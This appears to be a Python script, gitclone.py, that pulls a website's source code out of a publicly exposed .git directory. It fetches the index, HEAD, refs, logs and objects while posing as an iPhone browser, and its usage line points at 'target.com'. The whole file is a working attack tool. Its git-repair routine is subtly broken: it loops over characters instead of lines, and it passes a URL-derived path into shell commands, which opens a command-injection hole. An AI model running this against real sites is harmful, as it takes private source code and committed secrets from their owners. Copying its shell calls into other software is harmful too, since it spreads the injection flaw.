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gitclone.py
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gitclone.py
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"""
Author: Haozhe Zhang
"""
import binascii
import http.client
import os
import sys
import urllib.parse
import urllib.request
import zlib
class GitCloner:
def __init__(self, url: str):
self.base_url = url
self.workpath = '{}/repo/.git/'.format(urllib.parse.urlparse(url).netloc.replace(':', '_'))
self.head_hash = str()
def _request(self, url: str) -> http.client.HTTPResponse:
"""
Make request with certain headers.
:param url: str
:return: http.client.HTTPResponse
"""
self.request = urllib.request.Request(
url,
headers={'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'})
try:
return urllib.request.urlopen(self.request, timeout=10)
except Exception as e:
# print(e)
# exit(-1)
print(e, url)
raise e
def get_repo_index(self):
"""
Step 1: download index
:return:
"""
print('[+] Downloading index')
if not os.path.exists(self.workpath):
os.makedirs(self.workpath)
url = '{base_url}index'.format(base_url=self.base_url)
data = self._request(url).read()
with open('{path}index'.format(path=self.workpath), 'wb') as fp:
fp.write(data)
def get_repo_HEAD(self):
"""
Step 2: download HEAD
:return:
"""
print('[+] Downloading HEAD')
url = '{base_url}HEAD'.format(base_url=self.base_url)
data = self._request(url).read()
with open('{path}HEAD'.format(path=self.workpath), 'wb') as fp:
fp.write(data)
def get_repo_branch(self):
"""
Step 3L download ref branch
:return:
"""
# Load HEAD and find ref.
with open('{path}HEAD'.format(path=self.workpath), 'rb') as fp:
ref = fp.read().strip().decode().split(': ')[1]
print('[+] Downloading {}'.format(ref))
# Requests for head hash and save
head_url = '{base_url}{ref}'.format(base_url=self.base_url, ref=ref)
data = self._request(head_url).read().strip()
# Save the hash inside the ref file into the target place.
ref_path = '/'.join(ref.split('/')[:-1])
if not os.path.exists('{path}{ref_path}'.format(path=self.workpath, ref_path=ref_path)):
os.makedirs('{path}{ref_path}'.format(path=self.workpath, ref_path=ref_path))
with open('{path}{ref}'.format(path=self.workpath, ref=ref), 'wb') as fp:
fp.write(data)
# After get ref->head_hash, why not share it.
self.head_hash = data.decode()
def get_repo_objects(self):
"""
Step 4: download all objects
:return:
"""
commit_hash = self.head_hash
self._get_object(commit_hash)
def get_repo_logs(self):
"""
step 5: download logs
/logs/refs/heads/master
/logs/refs/remotes/origin/master
:return:
"""
try:
url = '{base_url}logs/refs/heads/master'.format(base_url=self.base_url)
path = '{workpath}logs/refs/heads/'.format(workpath=self.workpath)
if not os.path.exists(path):
os.makedirs(path)
data = self._request(url).read()
with open('{path}master'.format(path=path), 'wb') as fp:
fp.write(data)
except: # I don't expect it.
pass
try:
url = '{base_url}logs/refs/remotes/origin/HEAD'.format(base_url=self.base_url)
path = '{workpath}logs/refs/remotes/origin/'.format(workpath=self.workpath)
if not os.path.exists(path):
os.makedirs(path)
data = self._request(url).read()
with open('{path}HEAD'.format(path=path), 'wb') as fp:
fp.write(data)
except: # I don't expect it neither.
pass
def _get_object(self, hash_str):
# download
data = self._download_file(hash_str)
# parse
data = zlib.decompress(data)
# commit
if data[:6] == b'commit':
# read commit - tree
if data.find(b'tree') != -1:
tree_hash_idx = data.find(b'tree') + 5
tree_hash_str = data[tree_hash_idx: tree_hash_idx + 40].decode().strip()
self._get_object(tree_hash_str)
# read commit - parent (another commit. recursion here.)
if data.find(b'parent') != -1:
parent_hash_idx = data.find(b'parent') + 7
parent_hash_str = data[parent_hash_idx: parent_hash_idx + 40].decode().strip()
self._get_object(parent_hash_str)
# tree
if data[:4] == b'tree':
split_tree = data.split('100644 '.encode())
for i in range(1, len(split_tree)):
pivot_idx = split_tree[i].find(b'\x00')
file_hash = split_tree[i][pivot_idx + 1:]
file_hash = binascii.b2a_hex(file_hash).decode()
self._get_object(file_hash)
# blob
if data[:4] == b'blob':
# No need to parse it again.
pass
def _download_file(self, hash_str):
print('[+] Downloading objects/{}/{}'.format(hash_str[:2], hash_str[2:]))
# request
url = '{base_url}objects/{di}/{fi}'.format(base_url=self.base_url, di=hash_str[:2], fi=hash_str[2:])
data = self._request(url).read()
# save
if not os.path.exists('{path}objects/{di}/'.format(path=self.workpath, di=hash_str[:2])):
os.makedirs('{path}objects/{di}/'.format(path=self.workpath, di=hash_str[:2]))
with open('{path}objects/{di}/{fi}'.format(path=self.workpath, di=hash_str[:2], fi=hash_str[2:]),
'wb') as fp:
fp.write(data)
return data
def try_to_make_it_better(self):
try:
# check if git is installed
import os
repo_path = '/'.join(self.workpath.split('/')[:-2])
if 'command not found' not in os.popen('git'):
# git is installed
# fix
for line in os.popen('cd {path}; git fsck'.format(path=repo_path)).read():
if line.startswith('missing'):
self._download_file(line.split(' ')[2])
# reset to the newest commit
os.popen('cd {path}; git reset --hard'.format(path=repo_path))
except:
pass
def run(self):
self.get_repo_index()
self.get_repo_HEAD()
self.get_repo_branch()
self.get_repo_objects()
self.get_repo_logs()
self.try_to_make_it_better()
print('[*] Finished. Check your repo at {}'.format(self.workpath))
def test():
url = 'http://192.168.64.2/GitHacker/.git/'
cloner = GitCloner(url)
cloner.run()
def main():
if len(sys.argv) == 1:
print('[Usage] python3 gitclone.py http://target.com/.git/')
exit(0)
url = sys.argv[1]
cloner = GitCloner(url)
cloner.run()
if __name__ == '__main__':
main()